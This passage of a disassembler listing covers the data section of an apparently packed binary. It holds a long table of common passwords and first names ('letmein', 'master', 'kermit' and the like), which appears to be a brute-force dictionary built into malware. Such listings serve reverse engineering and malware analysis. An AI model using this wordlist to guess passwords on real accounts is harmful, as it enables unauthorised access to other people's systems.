'phoenix',0 ; DATA XREF: .nsp0:0042A448o aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042A444o align 4 aPhil db 'phil',0 ; DATA XREF: .nsp0:0042A440o align 4 aPeter db 'peter',0 ; DATA XREF: .nsp0:0042A43Co align 4 aPete db 'pete',0 ; DATA XREF: .nsp0:0042A438o align 4 aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042A434o aPersona db 'persona',0 ; DATA XREF: .nsp0:0042A430o aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042A42Co align 4 aPermit db 'permit',0 ; DATA XREF: .nsp0:0042A428o align 10h aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042A424o aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042A420o align 4 aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042A41Co align 4 aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042A418o align 4 aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042A414o aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042A410o align 4 aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042A40Co align 4 aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042A408o align 10h aPenname db 'penname',0 ; DATA XREF: .nsp0:0042A404o aPenis db 'penis',0 ; DATA XREF: .nsp0:0042A400o align 10h aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042A3FCo aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042A3F8o align 4 aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042A3F4o align 4 aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042A3F0o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042A3ECo aPaula db 'paula',0 ; DATA XREF: .nsp0:0042A3E8o align 4 aPatty db 'patty',0 ; DATA XREF: .nsp0:0042A3E4o align 4 aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042A3E0o aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042A3DCo align 10h aPaste db 'paste',0 ; DATA XREF: .nsp0:0042A3D8o align 4 aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042A3D4o align 4 aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042A3D0o align 4 aPapers db 'papers',0 ; DATA XREF: .nsp0:0042A3CCo align 4 aPaper db 'paper',0 ; DATA XREF: .nsp0:0042A3C8o align 4 aPapa db 'papa',0 ; DATA XREF: .nsp0:0042A3C4o align 4 aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042A3C0o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042A3BCo align 4 aPaint db 'paint',0 ; DATA XREF: .nsp0:0042A3B8o align 10h aPainless db 'painless',0 ; DATA XREF: .nsp0:0042A3B4o align 4 aPacker db 'packer',0 ; DATA XREF: .nsp0:0042A3B0o align 4 aPackard db 'packard',0 ; DATA XREF: .nsp0:0042A3ACo aPacific db 'pacific',0 ; DATA XREF: .nsp0:0042A3A8o aOxford db 'oxford',0 ; DATA XREF: .nsp0:0042A3A4o align 4 aOutside db 'outside',0 ; DATA XREF: .nsp0:0042A3A0o aOutput db 'output',0 ; DATA XREF: .nsp0:0042A39Co align 4 aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:0042A398o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:0042A394o align 10h aOsiris db 'osiris',0 ; DATA XREF: .nsp0:0042A390o align 4 aOscar db 'oscar',0 ; DATA XREF: .nsp0:0042A38Co align 10h aOrwell db 'orwell',0 ; DATA XREF: .nsp0:0042A388o align 4 aOrient db 'orient',0 ; DATA XREF: .nsp0:0042A384o align 10h aOrca db 'orca',0 ; DATA XREF: .nsp0:0042A380o align 4 aOperator db 'operator',0 ; DATA XREF: .nsp0:0042A37Co align 4 aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:0042A378o align 10h aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:0042A374o align 4 aOpening db 'opening',0 ; DATA XREF: .nsp0:0042A370o aOpen db 'open',0 ; DATA XREF: .nsp0:0040594Ao ; .nsp0:0040736Eo ... align 4 aOmega db 'omega',0 ; DATA XREF: .nsp0:0042A368o align 4 aOlivia db 'olivia',0 ; DATA XREF: .nsp0:0042A364o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:0042A360o align 4 aOldage db 'oldage',0 ; DATA XREF: .nsp0:0042A35Co align 10h aOkay db 'okay',0 ; DATA XREF: .nsp0:0042A358o align 4 aOffice db 'office',0 ; DATA XREF: .nsp0:0042A354o align 10h aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:0042A350o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:0042A34Co align 4 aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:0042A348o align 10h aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:0042A344o aNuts db 'nuts',0 ; DATA XREF: .nsp0:0042A340o align 10h aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:0042A33Co align 4 aNumber db 'number',0 ; DATA XREF: .nsp0:0042A338o align 4 aNull_1 db 'null',0 ; DATA XREF: .nsp0:0042A334o align 4 aNukem db 'nukem',0 ; DATA XREF: .nsp0:0042A330o align 4 aNuke db 'nuke',0 ; DATA XREF: .nsp0:0042A32Co align 4 aNude db 'nude',0 ; DATA XREF: .nsp0:0042A328o align 4 aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:0042A324o aNoxious db 'noxious',0 ; DATA XREF: .nsp0:0042A320o aNovember db 'november',0 ; DATA XREF: .nsp0:0042A31Co align 10h aNovel db 'novel',0 ; DATA XREF: .nsp0:0042A318o align 4 aNova db 'nova',0 ; DATA XREF: .nsp0:0042A314o align 10h aNoth db 'noth',0 ; DATA XREF: .nsp0:0042A310o align 4 aNotes db 'notes',0 ; DATA XREF: .nsp0:0042A30Co align 10h aNoreen db 'noreen',0 ; DATA XREF: .nsp0:0042A308o align 4 aNode db 'node',0 ; DATA XREF: .nsp0:0042A304o align 10h aNobody db 'nobody',0 ; DATA XREF: .nsp0:0042A300o align 4 aNoble db 'noble',0 ; DATA XREF: .nsp0:0042A2FCo align 10h aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:0042A2F8o align 4 aNita db 'nita',0 ; DATA XREF: .nsp0:0042A2F4o align 10h aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:0042A2F0o align 4 aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:0042A2ECo align 4 aNight db 'night',0 ; DATA XREF: .nsp0:0042A2E8o align 10h aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:0042A2E4o align 4 aNicole db 'nicole',0 ; DATA XREF: .nsp0:0042A2E0o align 4 aNice db 'nice',0 ; DATA XREF: .nsp0:0042A2DCo align 4 aNext db 'next',0 ; DATA XREF: .nsp0:0042A2D8o align 4 aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0042A2D4o aNewton db 'newton',0 ; DATA XREF: .nsp0:0042A2D0o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0042A2CCo align 10h aNews db 'news',0 ; DATA XREF: .nsp0:0042A2C8o align 4 aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0042A2C4o aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0042A2C0o aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0042A2BCo align 4 aNess db 'ness',0 ; DATA XREF: .nsp0:0042A2B8o align 4 aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0042A2B4o aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:0042A2B0o align 10h aNavy db 'navy',0 ; DATA XREF: .nsp0:0042A2ACo align 4 aNasa db 'nasa',0 ; DATA XREF: .nsp0:0042A2A8o align 10h aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:0042A2A4o align 4 aNancy db 'nancy',0 ; DATA XREF: .nsp0:0042A2A0o align 4 aName db 'name',0 ; DATA XREF: .nsp0:0042A29Co align 4 aNagel db 'nagel',0 ; DATA XREF: .nsp0:0042A298o align 4 aMutant db 'mutant',0 ; DATA XREF: .nsp0:0042A294o align 4 aMuppets db 'muppets',0 ; DATA XREF: .nsp0:0042A290o aMsdos db 'msdos',0 ; DATA XREF: .nsp0:0042A28Co align 4 aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:0042A288o align 4 aMozart db 'mozart',0 ; DATA XREF: .nsp0:0042A284o align 4 aMovies db 'movies',0 ; DATA XREF: .nsp0:0042A280o align 4 aMovie db 'movie',0 ; DATA XREF: .nsp0:0042A27Co align 4 aMove db 'move',0 ; DATA XREF: .nsp0:0042A278o align 4 aMouse db 'mouse',0 ; DATA XREF: .nsp0:0042A274o align 4 aMountain db 'mountain',0 ; DATA XREF: .nsp0:0042A270o align 4 aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:0042A26Co align 10h aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:0042A268o align 4 aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:0042A264o align 4 aMortal db 'mortal',0 ; DATA XREF: .nsp0:0042A260o align 10h aMorris db 'morris',0 ; DATA XREF: .nsp0:0042A25Co align 4 aMorley db 'morley',0 ; DATA XREF: .nsp0:0042A258o align 10h aMore db 'more',0 ; DATA XREF: .nsp0:0042A254o align 4 aMoose db 'moose',0 ; DATA XREF: .nsp0:0042A250o align 10h aMoor db 'moor',0 ; DATA XREF: .nsp0:0042A24Co align 4 aMoom db 'moom',0 ; DATA XREF: .nsp0:0042A248o align 10h aMonica db 'monica',0 ; DATA XREF: .nsp0:0042A244o align 4 aMonday db 'monday',0 ; DATA XREF: .nsp0:0042A240o align 10h aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0042A23Co align 4 aMogul db 'mogul',0 ; DATA XREF: .nsp0:0042A238o align 10h aModem db 'modem',0 ; DATA XREF: .nsp0:0042A234o align 4 aMode db 'mode',0 ; DATA XREF: .nsp0:00404E7Bo ; .nsp0:00406345o ... align 10h aMkii db 'mkii',0 ; DATA XREF: .nsp0:0042A22Co align 4 aMission db 'mission',0 ; DATA XREF: .nsp0:0042A228o aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0042A224o align 4 aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0042A220o align 10h aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0042A21Co aMine db 'mine',0 ; DATA XREF: .nsp0:0042A218o align 10h aMike db 'mike',0 ; DATA XREF: .nsp0:0042A214o align 4 aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0042A210o align 4 aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0042A20Co align 10h aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0042A208o align 4 aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0042A204o align 4 aMicro db 'micro',0 ; DATA XREF: .nsp0:0042A200o align 10h aMickey db 'mickey',0 ; DATA XREF: .nsp0:0042A1FCo align 4 aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0042A1F8o align 4 aMichele db 'michele',0 ; DATA XREF: .nsp0:0042A1F4o aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0042A1F0o align 4 aMichel db 'michel',0 ; DATA XREF: .nsp0:0042A1ECo align 10h aMichael db 'michael',0 ; DATA XREF: .nsp0:0042A1E8o aMice db 'mice',0 ; DATA XREF: .nsp0:0042A1E4o align 10h aMets db 'mets',0 ; DATA XREF: .nsp0:0042A1E0o align 4 aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0042A1DCo align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0042A1D8o align 10h aMetal db 'metal',0 ; DATA XREF: .nsp0:0042A1D4o align 4 aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0042A1D0o align 10h aMercury db 'mercury',0 ; DATA XREF: .nsp0:0042A1CCo aMenu db 'menu',0 ; DATA XREF: .nsp0:0042A1C8o align 10h aMenace db 'menace',0 ; DATA XREF: .nsp0:0042A1C4o align 4 aMemory db 'memory',0 ; DATA XREF: .nsp0:0042A1C0o align 10h aMember db 'member',0 ; DATA XREF: .nsp0:0042A1BCo align 4 aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0042A1B8o aMellon db 'mellon',0 ; DATA XREF: .nsp0:0042A1B4o align 4 aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0042A1B0o aMegan db 'megan',0 ; DATA XREF: .nsp0:0042A1ACo align 4 aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0042A1A8o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0042A1A4o align 10h aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0042A1A0o align 4 aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0042A19Co aMath db 'math',0 ; DATA XREF: .nsp0:0042A198o align 4 aMaster db 'master',0 ; DATA XREF: .nsp0:0042A194o align 10h aMason db 'mason',0 ; DATA XREF: .nsp0:0042A190o align 4 aMary db 'mary',0 ; DATA XREF: .nsp0:0042A18Co align 10h aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0042A188o align 4 aMarty db 'marty',0 ; DATA XREF: .nsp0:0042A184o align 10h aMars db 'mars',0 ; DATA XREF: .nsp0:0042A180o align 4 aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0042A17Co align 4 aMarni db 'marni',0 ; DATA XREF: .nsp0:0042A178o align 4 aMarkus db 'markus',0 ; DATA XREF: .nsp0:0042A174o align 4 aMark db 'mark',0 ; DATA XREF: .nsp0:0042A170o align 4 aMarines db 'marines',0 ; DATA XREF: .nsp0:0042A16Co aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0042A168o align 10h aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0042A164o align 4 aMariens db 'mariens',0 ; DATA XREF: .nsp0:0042A160o aMaria db 'maria',0 ; DATA XREF: .nsp0:0042A15Co align 4 aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0042A158o ; .nsp0:0043FFDCo align 4 aMarci db 'marci',0 ; DATA XREF: .nsp0:0042A154o align 4 aMara db 'mara',0 ; DATA XREF: .nsp0:0042A150o align 4 aManager db 'manager',0 ; DATA XREF: .nsp0:0042A14Co aMana db 'mana',0 ; DATA XREF: .nsp0:0042A148o align 4 aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0042A144o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0042A140o aMaint db 'maint',0 ; DATA XREF: .nsp0:0042A13Co align 4 aMail db 'mail',0 ; DATA XREF: .nsp0:0042A138o align 4 aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0042A134o align 4 aMagic db 'magic',0 ; DATA XREF: .nsp0:0042A130o align 4 aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0042A12Co align 4 aMacro db 'macro',0 ; DATA XREF: .nsp0:0042A128o align 4 aMack db 'mack',0 ; DATA XREF: .nsp0:0042A124o align 4 aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0042A120o align 4 aMachine db 'machine',0 ; DATA XREF: .nsp0:0042A11Co aLynne db 'lynne',0 ; DATA XREF: .nsp0:0042A118o align 4 aLynn db 'lynn',0 ; DATA XREF: .nsp0:0042A114o align 10h aLust db 'lust',0 ; DATA XREF: .nsp0:0042A110o align 4 aLuke db 'luke',0 ; DATA XREF: .nsp0:0042A10Co align 10h aLude db 'lude',0 ; DATA XREF: .nsp0:0042A108o align 4 aLucy db 'lucy',0 ; DATA XREF: .nsp0:0042A104o align 10h aLucus db 'lucus',0 ; DATA XREF: .nsp0:0042A100o align 4 aLuck db 'luck',0 ; DATA XREF: .nsp0:0042A0FCo align 10h aLover db 'lover',0 ; DATA XREF: .nsp0:0042A0F8o align 4 aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0042A0F4o aLouis db 'louis',0 ; DATA XREF: .nsp0:0042A0F0o align 4 aLoser db 'loser',0 ; DATA XREF: .nsp0:0042A0ECo align 10h aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0042A0E8o align 4 aLorin db 'lorin',0 ; DATA XREF: .nsp0:0042A0E4o align 4 aLori db 'lori',0 ; DATA XREF: .nsp0:0042A0E0o align 4 aLore db 'lore',0 ; DATA XREF: .nsp0:0042A0DCo align 4 aLoose db 'loose',0 ; DATA XREF: .nsp0:0042A0D8o align 4 aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0042A0D4o align 4 aLois db 'lois',0 ; DATA XREF: .nsp0:0042A0D0o align 4 aLogout db 'logout',0 ; DATA XREF: .nsp0:004029FDo ; .nsp0:0042A0CCo align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0042A0C8o align 10h aLogic db 'logic',0 ; DATA XREF: .nsp0:0042A0C4o align 4 aLockword db 'lockword',0 ; DATA XREF: .nsp0:0042A0C0o align 4 aLockout db 'lockout',0 ; DATA XREF: .nsp0:0042A0BCo aLock db 'lock',0 ; DATA XREF: .nsp0:0042A0B8o align 4 aLoad db 'load',0 ; DATA XREF: .nsp0:00404CBAo ; .nsp0:0042A0B4o align 4 aLive db 'live',0 ; DATA XREF: .nsp0:0042A0B0o align 4 aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0042A0ACo align 10h aLisp db 'lisp',0 ; DATA XREF: .nsp0:0042A0A8o align 4 aLisa db 'lisa',0 ; DATA XREF: .nsp0:0042A0A4o align 10h aLips db 'lips',0 ; DATA XREF: .nsp0:0042A0A0o align 4 aLion db 'lion',0 ; DATA XREF: .nsp0:0042A09Co align 10h aLink db 'link',0 ; DATA XREF: .nsp0:0042A098o align 4 aLinda db 'linda',0 ; DATA XREF: .nsp0:0042A094o align 10h aLimited db 'limited',0 ; DATA XREF: .nsp0:0042A090o aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0042A08Co align 4 aLima db 'lima',0 ; DATA XREF: .nsp0:0042A088o align 4 aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0042A084o align 4 aLight db 'light',0 ; DATA XREF: .nsp0:0042A080o align 10h aLife db 'life',0 ; DATA XREF: .nsp0:0042A07Co align 4 aLicker db 'licker',0 ; DATA XREF: .nsp0:0042A078o align 10h aLick db 'lick',0 ; DATA XREF: .nsp0:0042A074o align 4 aLibrary db 'library',0 ; DATA XREF: .nsp0:0042A070o aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0042A06Co aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0042A068o align 4 aLewis db 'lewis',0 ; DATA XREF: .nsp0:0042A064o align 4 aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0042A060o aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0042A05Co align 4 aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0042A058o aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0042A054o align 4 aLeland db 'leland',0 ; DATA XREF: .nsp0:0042A050o align 4 aLegal db 'legal',0 ; DATA XREF: .nsp0:0042A04Co align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0042A048o align 4 aLeft db 'left',0 ; DATA XREF: .nsp0:0042A044o align 10h aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0042A040o align 4 aLeah db 'leah',0 ; DATA XREF: .nsp0:0042A03Co align 4 aLazer db 'lazer',0 ; DATA XREF: .nsp0:0042A038o align 4 aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0042A034o aLava db 'lava',0 ; DATA XREF: .nsp0:0042A030o align 4 aLaura db 'laura',0 ; DATA XREF: .nsp0:0042A02Co align 4 aLaser db 'laser',0 ; DATA XREF: .nsp0:0042A028o align 4 aLarry db 'larry',0 ; DATA XREF: .nsp0:0042A024o align 4 aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0042A020o align 4 aLara db 'lara',0 ; DATA XREF: .nsp0:0042A01Co align 4 aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0042A018o align 4 aLana db 'lana',0 ; DATA XREF: .nsp0:0042A014o align 4 aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0042A010o align 10h aLambda db 'lambda',0 ; DATA XREF: .nsp0:0042A00Co align 4 aLakers db 'lakers',0 ; DATA XREF: .nsp0:0042A008o align 10h aLadle db 'ladle',0 ; DATA XREF: .nsp0:0042A004o align 4 aLadies db 'ladies',0 ; DATA XREF: .nsp0:0042A000o align 10h aKristy db 'kristy',0 ; DATA XREF: .nsp0:00429FFCo align 4 aKristine db 'kristine',0 ; DATA XREF: .nsp0:00429FF8o align 4 aKristin db 'kristin',0 ; DATA XREF: .nsp0:00429FF4o aKristie db 'kristie',0 ; DATA XREF: .nsp0:00429FF0o aKristi db 'kristi',0 ; DATA XREF: .nsp0:00429FECo align 4 aKristen db 'kristen',0 ; DATA XREF: .nsp0:00429FE8o aKrista db 'krista',0 ; DATA XREF: .nsp0:00429FE4o align 4 aKnown db 'known',0 ; DATA XREF: .nsp0:00429FE0o align 4 aKnightma db 'knightma',0 ; DATA XREF: .nsp0:00429FDCo align 10h aKnight db 'knight',0 ; DATA XREF: .nsp0:00429FD8o align 4 aKnife db 'knife',0 ; DATA XREF: .nsp0:00429FD4o align 10h aKlingon db 'klingon',0 ; DATA XREF: .nsp0:00429FD0o aKitten db 'kitten',0 ; DATA XREF: .nsp0:00429FCCo align 10h aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:00429FC8o align 4 aKiss db 'kiss',0 ; DATA XREF: .nsp0:00429FC4o align 4 aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:00429FC0o align 10h aKirk db 'kirk',0 ; DATA XREF: .nsp0:00429FBCo align 4 aKing db 'king',0 ; DATA XREF: .nsp0:00429FB8o align 10h aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:00429FB4o align 4 aKilo db 'kilo',0 ; DATA XREF: .nsp0:00429FB0o align 4 aKillthem db 'killthem',0 ; DATA XREF: .nsp0:00429FACo align 10h aKill db 'kill',0 ; DATA XREF: .nsp0:004059F2o ; .nsp0:00429FA8o align 4 aKids db 'kids',0 ; DATA XREF: .nsp0:00429FA4o align 10h aKeyword db 'keyword',0 ; DATA XREF: .nsp0:00429FA0o aKeyin db 'keyin',0 ; DATA XREF: .nsp0:00429F9Co align 10h aKeybord db 'keybord',0 ; DATA XREF: .nsp0:00429F98o aKewl db 'kewl',0 ; DATA XREF: .nsp0:00429F94o align 10h aKevin db 'kevin',0 ; DATA XREF: .nsp0:00429F90o align 4 aKerry db 'kerry',0 ; DATA XREF: .nsp0:00429F8Co align 10h aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:00429F88o align 4 aKerri db 'kerri',0 ; DATA XREF: .nsp0:00429F84o align 10h aKernel db 'kernel',0 ; DATA XREF: .nsp0:00429F80o align 4 aKermit db 'kermit',0 ; DATA XREF: .nsp0:00429F7Co ; .nsp0:00440004o align 10h aKeri db 'keri',0 ; DATA XREF: .nsp0:00429F78o align 4 aKelly db 'kelly',0 ; DATA XREF: .nsp0:00429F74o align 10h aKatrina db 'katrina',0 ; DATA XREF: .nsp0:00429F70o aKatina db 'katina',0 ; DATA XREF: .nsp0:00429F6Co align 10h aKathy db 'kathy',0 ; DATA XREF: .nsp0:00429F68o align 4 aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:00429F64o align 4 aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:00429F60o align 10h aKate db 'kate',0 ; DATA XREF: .nsp0:00429F5Co align 4 aKatana db 'katana',0 ; DATA XREF: .nsp0:00429F58o align 10h aKarina db 'karina',0 ; DATA XREF: .nsp0:00429F54o align 4 aKarie db 'karie',0 ; DATA XREF: .nsp0:00429F50o align 10h aKaren db 'karen',0 ; DATA XREF: .nsp0:00429F4Co align 4 aKaka db 'kaka',0 ; DATA XREF: .nsp0:00429F48o align 10h aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:00429F44o aJune db 'june',0 ; DATA XREF: .nsp0:00429F40o align 10h aJuliet db 'juliet',0 ; DATA XREF: .nsp0:00429F3Co align 4 aJulie db 'julie',0 ; DATA XREF: .nsp0:00429F38o align 10h aJulia db 'julia',0 ; DATA XREF: .nsp0:00429F34o align 4 aJuicy db 'juicy',0 ; DATA XREF: .nsp0:00429F30o align 10h aJuggle db 'juggle',0 ; DATA XREF: .nsp0:00429F2Co align 4 aJudy db 'judy',0 ; DATA XREF: .nsp0:00429F28o align 10h aJudith db 'judith',0 ; DATA XREF: .nsp0:00429F24o align 4 aJoyce db 'joyce',0 ; DATA XREF: .nsp0:00429F20o align 10h aJournal db 'journal',0 ; DATA XREF: .nsp0:00429F1Co aJoshua db 'joshua',0 ; DATA XREF: .nsp0:00429F18o align 10h aJoseph db 'joseph',0 ; DATA XREF: .nsp0:00429F14o align 4 aJohnny db 'johnny',0 ; DATA XREF: .nsp0:00429F10o align 10h aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:00429F0Co aJohn db 'john',0 ; DATA XREF: .nsp0:00429F08o align 10h aJody db 'jody',0 ; DATA XREF: .nsp0:00429F04o align 4 aJoanne db 'joanne',0 ; DATA XREF: .nsp0:00429F00o align 10h aJixian db 'jixian',0 ; DATA XREF: .nsp0:00429EFCo align 4 aJill db 'jill',0 ; DATA XREF: .nsp0:00429EF8o align 10h aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:00429EF4o aJester db 'jester',0 ; DATA XREF: .nsp0:00429EF0o align 10h aJessica db 'jessica',0 ; DATA XREF: .nsp0:00429EECo aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:00429EE8o align 4 aJerry db 'jerry',0 ; DATA XREF: .nsp0:00429EE4o align 4 aJenny db 'jenny',0 ; DATA XREF: .nsp0:00429EE0o align 4 aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:00429EDCo align 10h aJenni db 'jenni',0 ; DATA XREF: .nsp0:00429ED8o align 4 aJeff db 'jeff',0 ; DATA XREF: .nsp0:00429ED4o align 10h aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:00429ED0o align 4 aJean db 'jean',0 ; DATA XREF: .nsp0:00429ECCo align 10h aJazz db 'jazz',0 ; DATA XREF: .nsp0:00429EC8o align 4 aJava db 'java',0 ; DATA XREF: .nsp0:00429EC4o align 10h aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:00429EC0o align 4 aJapan db 'japan',0 ; DATA XREF: .nsp0:00429EBCo align 10h aJanie db 'janie',0 ; DATA XREF: .nsp0:00429EB8o align 4 aJanice db 'janice',0 ; DATA XREF: .nsp0:00429EB4o align 10h aJanet db 'janet',0 ; DATA XREF: .nsp0:00429EB0o align 4 aJane db 'jane',0 ; DATA XREF: .nsp0:00429EACo align 10h aJail db 'jail',0 ; DATA XREF: .nsp0:00429EA8o align 4 aJackie db 'jackie',0 ; DATA XREF: .nsp0:00429EA4o align 10h aIsis db 'isis',0 ; DATA XREF: .nsp0:00429EA0o align 4 aIrishman db 'irishman',0 ; DATA XREF: .nsp0:00429E9Co align 4 aIrene db 'irene',0 ; DATA XREF: .nsp0:00429E98o align 4 aInvent db 'invent',0 ; DATA XREF: .nsp0:00429E94o align 4 aInteger db 'integer',0 ; DATA XREF: .nsp0:00429E90o aInside db 'inside',0 ; DATA XREF: .nsp0:00429E8Co align 4 aInput db 'input',0 ; DATA XREF: .nsp0:00429E88o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:00429E84o align 4 aInna db 'inna',0 ; DATA XREF: .nsp0:00429E80o align 10h aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:00429E7Co align 4 aIngress db 'ingress',0 ; DATA XREF: .nsp0:00429E78o aIngres db 'ingres',0 ; DATA XREF: .nsp0:00429E74o align 4 aIndians db 'indians',0 ; DATA XREF: .nsp0:00429E70o aIndiana db 'indiana',0 ; DATA XREF: .nsp0:00429E6Co aIndian db 'indian',0 ; DATA XREF: .nsp0:00429E68o align 10h aIndia db 'india',0 ; DATA XREF: .nsp0:00429E64o align 4 aInclude db 'include',0 ; DATA XREF: .nsp0:00429E60o aImperial db 'imperial',0 ; DATA XREF: .nsp0:00429E5Co align 4 aImmortal db 'immortal',0 ; DATA XREF: .nsp0:00429E58o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:00429E54o align 4 aImage db 'image',0 ; DATA XREF: .nsp0:00429E50o align 4 aIllumina db 'illumina',0 ; DATA XREF: .nsp0:00429E4Co align 4 aIcecream db 'icecream',0 ; DATA XREF: .nsp0:00429E48o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:00429E44o align 10h aHyper db 'hyper',0 ; DATA XREF: .nsp0:00429E40o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:00429E3Co align 4 aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:00429E38o align 10h aHunter db 'hunter',0 ; DATA XREF: .nsp0:00429E34o align 4 aHunt db 'hunt',0 ; DATA XREF: .nsp0:00429E30o align 10h aHttp db 'http',0 ; DATA XREF: .nsp0:00403613o ; .nsp0:00429E2Co align 4 aHotel db 'hotel',0 ; DATA XREF: .nsp0:00429E28o align 10h aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:00429E24o align 4 aHost db 'host',0 ; DATA XREF: .nsp0:00429E20o align 10h aHorus db 'horus',0 ; DATA XREF: .nsp0:00429E1Co align 4 aHorse db 'horse',0 ; DATA XREF: .nsp0:00429E18o align 10h aHorror db 'horror',0 ; DATA XREF: .nsp0:00429E14o align 4 aHorrible db 'horrible',0 ; DATA XREF: .nsp0:00429E10o align 4 aHorny db 'horny',0 ; DATA XREF: .nsp0:00429E0Co align 4 aHooters db 'hooters',0 ; DATA XREF: .nsp0:00429E08o aHooker db 'hooker',0 ; DATA XREF: 